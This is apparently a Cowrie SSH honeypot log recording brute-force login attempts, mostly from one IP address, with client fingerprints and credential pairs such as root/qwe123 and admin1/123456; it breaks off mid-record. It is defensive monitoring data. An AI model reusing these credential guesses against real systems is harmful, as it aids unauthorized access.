{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:53.610823Z","src_ip":"192.109.200.78","session":"7e73fb937787","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123","message":"login attempt [root/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:53.854963Z","src_ip":"192.109.200.78","session":"7e73fb937787","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:54.940960Z","src_ip":"192.109.200.78","session":"7e73fb937787","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.29.234.126","src_port":52558,"dst_ip":"159.203.135.109","dst_port":22,"session":"7771d3baff22","protocol":"ssh","message":"New connection: 46.29.234.126:52558 (159.203.135.109:22) [session: 7771d3baff22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:55.258374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:55.263336Z","src_ip":"46.29.234.126","session":"7771d3baff22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:55.373798Z","src_ip":"46.29.234.126","session":"7771d3baff22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zxcvbnm1","message":"login attempt [root/Zxcvbnm1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:55.850066Z","src_ip":"46.29.234.126","session":"7771d3baff22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:56.966367Z","src_ip":"46.29.234.126","session":"7771d3baff22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":45028,"dst_ip":"10.17.0.5","dst_port":22,"session":"44ec5ea0832e","protocol":"ssh","message":"New connection: 192.109.200.78:45028 (10.17.0.5:22) [session: 44ec5ea0832e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:56.988811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:56.992216Z","src_ip":"192.109.200.78","session":"44ec5ea0832e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:57.072762Z","src_ip":"192.109.200.78","session":"44ec5ea0832e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd","message":"login attempt [root/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:57.315465Z","src_ip":"192.109.200.78","session":"44ec5ea0832e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:30:58.399758Z","src_ip":"192.109.200.78","session":"44ec5ea0832e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":45032,"dst_ip":"10.17.0.5","dst_port":22,"session":"992c2519bd36","protocol":"ssh","message":"New connection: 192.109.200.78:45032 (10.17.0.5:22) [session: 992c2519bd36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:00.315240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:00.320993Z","src_ip":"192.109.200.78","session":"992c2519bd36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:00.407316Z","src_ip":"192.109.200.78","session":"992c2519bd36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"123456","message":"login attempt [admin1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:00.674138Z","src_ip":"192.109.200.78","session":"992c2519bd36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:01.797554Z","src_ip":"192.109.200.78","session":"992c2519bd36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38656,"dst_ip":"10.17.0.5","dst_port":22,"session":"9227cac349bc","protocol":"ssh","message":"New connection: 192.109.200.78:38656 (10.17.0.5:22) [session: 9227cac349bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:03.618991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:03.623517Z","src_ip":"192.109.200.78","session":"9227cac349bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:03.705533Z","src_ip":"192.109.200.78","session":"9227cac349bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user123456","message":"login attempt [user/user123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:04.126172Z","src_ip":"192.109.200.78","session":"9227cac349bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:05.210288Z","src_ip":"192.109.200.78","session":"9227cac349bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38674,"dst_ip":"10.17.0.5","dst_port":22,"session":"a79956ddc0de","protocol":"ssh","message":"New connection: 192.109.200.78:38674 (10.17.0.5:22) [session: a79956ddc0de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:07.095878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:07.100518Z","src_ip":"192.109.200.78","session":"a79956ddc0de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:07.182464Z","src_ip":"192.109.200.78","session":"a79956ddc0de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:07.431065Z","src_ip":"192.109.200.78","session":"a79956ddc0de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:08.515595Z","src_ip":"192.109.200.78","session":"a79956ddc0de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38706,"dst_ip":"10.17.0.5","dst_port":22,"session":"76d2d818dd9a","protocol":"ssh","message":"New connection: 192.109.200.78:38706 (10.17.0.5:22) [session: 76d2d818dd9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:10.391895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:10.396424Z","src_ip":"192.109.200.78","session":"76d2d818dd9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:10.478041Z","src_ip":"192.109.200.78","session":"76d2d818dd9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@123","message":"login attempt [root/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:10.723908Z","src_ip":"192.109.200.78","session":"76d2d818dd9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:11.808116Z","src_ip":"192.109.200.78","session":"76d2d818dd9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36996,"dst_ip":"10.17.0.5","dst_port":22,"session":"0eae18144092","protocol":"ssh","message":"New connection: 192.109.200.78:36996 (10.17.0.5:22) [session: 0eae18144092]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:13.773064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:13.776875Z","src_ip":"192.109.200.78","session":"0eae18144092","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:13.861046Z","src_ip":"192.109.200.78","session":"0eae18144092","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test1234","message":"login attempt [root/Test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:14.105539Z","src_ip":"192.109.200.78","session":"0eae18144092","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:15.189056Z","src_ip":"192.109.200.78","session":"0eae18144092","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37004,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c0fc6c9fd3b","protocol":"ssh","message":"New connection: 192.109.200.78:37004 (10.17.0.5:22) [session: 4c0fc6c9fd3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:17.187232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:31:17.203738Z","src_ip":"192.109.200.78","session":"4c0fc6c9fd3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 